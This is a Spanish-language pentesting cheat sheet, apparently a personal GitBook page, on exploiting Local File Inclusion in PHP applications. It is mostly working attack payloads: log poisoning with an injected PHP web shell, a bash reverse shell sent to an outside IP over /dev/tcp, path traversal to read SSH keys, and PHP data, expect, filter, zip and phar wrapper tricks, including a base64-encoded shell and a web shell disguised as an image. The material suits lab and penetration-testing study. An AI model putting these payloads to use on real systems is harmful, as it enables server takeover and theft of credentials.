Local File Inclusion (LFI)

Definición

LFI (Local File Inclusion) es una vulnerabilidad de seguridad que ocurre cuando una aplicación web permite a los usuarios incluir archivos en el servidor a través de parámetros de entrada sin una validación adecuada. Esto puede permitir a un atacante leer archivos sensibles, ejecutar scripts maliciosos o incluso tomar el control del servidor en ciertos casos.

Impacto

  • Ejecución de código en el servidor web.

  • Ejecución de código en el cliente (como JavaScript), lo que puede causar ataques como XSS.

  • Denegación de servicio (DoS).

  • Divulgación de información confidencial.

LFI TO RCE via Log Poisoning

Esta técnica se centra en envenenar los logs con comandos para luego, al cargar dichos logs se interprete nuestro código y tengamos ejecución remota de comandos (RCE).

Rutas de logs:

Windows: C:\xampp\apache\logs
Linux: /var/log/apache2/access.log

Ejemplo en Linux:

curl https://r4z0r.gitbook.io/index.php?page=../../../../../../../../../var/log/apache2/access.log

Respuesta HTTP: 
192.168.50.1 - - [12/Apr/2022:10:34:55 +0000] "GET /index.php?page=admin.php HTTP/1.1" 200 2218 "-""Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0" 
  • Paso 1: Envenenar access.log

// Insertar en user agent: <?php echo system($_GET['cmd']); ?>

GET /index.php?page=admin.php HTTP/1.1
HOST: r4z0r.gitbook.io
User-Agent: Mozilla/5.0 <?php echo system($_GET['cmd']); ?>
Accept: ….
  • Paso 2: Ejecutar el código con curl

curl https://r4z0r.gitbook.io/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=whoami

// en caso que se rompa la consulta con espacio usar %20 -> ls%20-la
  • Paso 3: Reverse shell

curl https://r4z0r.gitbook.io/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22

LFI en Windows:

LFI To RCE - Abusing /proc/self/fd/X + Log Poisoning

Video explicativo de Savitar: https://www.youtube.com/watch?v=4VnatIievBE&ab_channel=S4viOnLive%28BackupDirectosdeTwitch%29

Finding private keys

En algunas situaciones no tenemos el fichero id_rsa, por lo que debemos consultar el authorized_keys y ver qué tipo de clave es:

https://r4z0r.gitbook.io/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/home/anita/.ssh/authorized_keys

Revisar que tipo de claves hay, si muestra ecdsa no va a ser id_rsa, va a ser id_ecdsa:

/home/userE/.ssh/id_ecdsa.pub    // public key
/home/userE/.ssh/id_ecdsa        // private key

Wrappers PHP

PHP Expect Wrapper

https://r4z0r.gitbook.io/index.php?page=expect://whoami

PHP Data Wrapper

https://r4z0r.gitbook.io/index.php?page=data:text/plain;,<?php echo shell_exec($_GET['cmd']);?>

curl "https://r4z0r.gitbook.io/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"

En caso de que haya firewall y no te permita meter comandos raros.

echo -n '<?php echo system($_GET["cmd"]);?>' | base64

curl "https://r4z0r.gitbook.io/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"

https://r4z0r.gitbook.io/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=uname%20-a

PHP Filter Wrapper

https://r4z0r.gitbook.io/index.php?page=php://filter/resource=admin.php

curl https://r4z0r.gitbook.io/index.php?page=php://filter/convert.base64-encode/resource=admin.php

curl https://r4z0r.gitbook.io/index.php?page=php://filter/convert.base64-encode/resource=/var/www/html/backup.php

http://127.0.0.1/index.php?file=php://filter/convert.base64-encode/resource=index

http://127.0.0.1/index.php?file=php://filter/convert.base64-encode/resource=upload

curl 'http://127.0.0.1/index.php?file=php://filter/convert.base64-encode/resource=upload' -s | base64 -d

PHP Zip Wapper

echo "<?php system(%_REQUEST['cmd']); ?>" > shell.php

zip -0 payload.zip payload.php;   

mv payload.zip shell.jpg;    

hhttps://r4z0r.gitbook.io/index.php?page=zip://shell.jpg%23payload.php - donde payload.php es el contenido del zip

// ziper proving grounds
http://192.168.181.229/index.php?file=zip://uploads/upload_1716303041.zip%23shell&cmd=whoami     // Donde shell es la shell.php que subimos y cmd es el parámetro. En este caso no había que poner shell.php porque ya lo agregaba solo a la extensión

http://192.168.181.229/index.php?file=zip://uploads/upload_1716303311.zip%23php-reverse-shell

Zip Wrapper - S4vitar: https://www.youtube.com/watch?v=6IO3gAtP3dc&ab_channel=S4viOnLive%28BackupDirectosdeTwitch%29

PHP Phar Wrapper

// subir un zip y cargarlo con phar - máquina resourced de hackthebox, reverse.php es la de pentest-monkey.

zip rev.zip reverse.php
itrc.ssg.htb/index.php?page=phar://uploads/faeea173dc4153f2e1c07a63da1917d51087bc30.zip/reverse

Recursos

Última actualización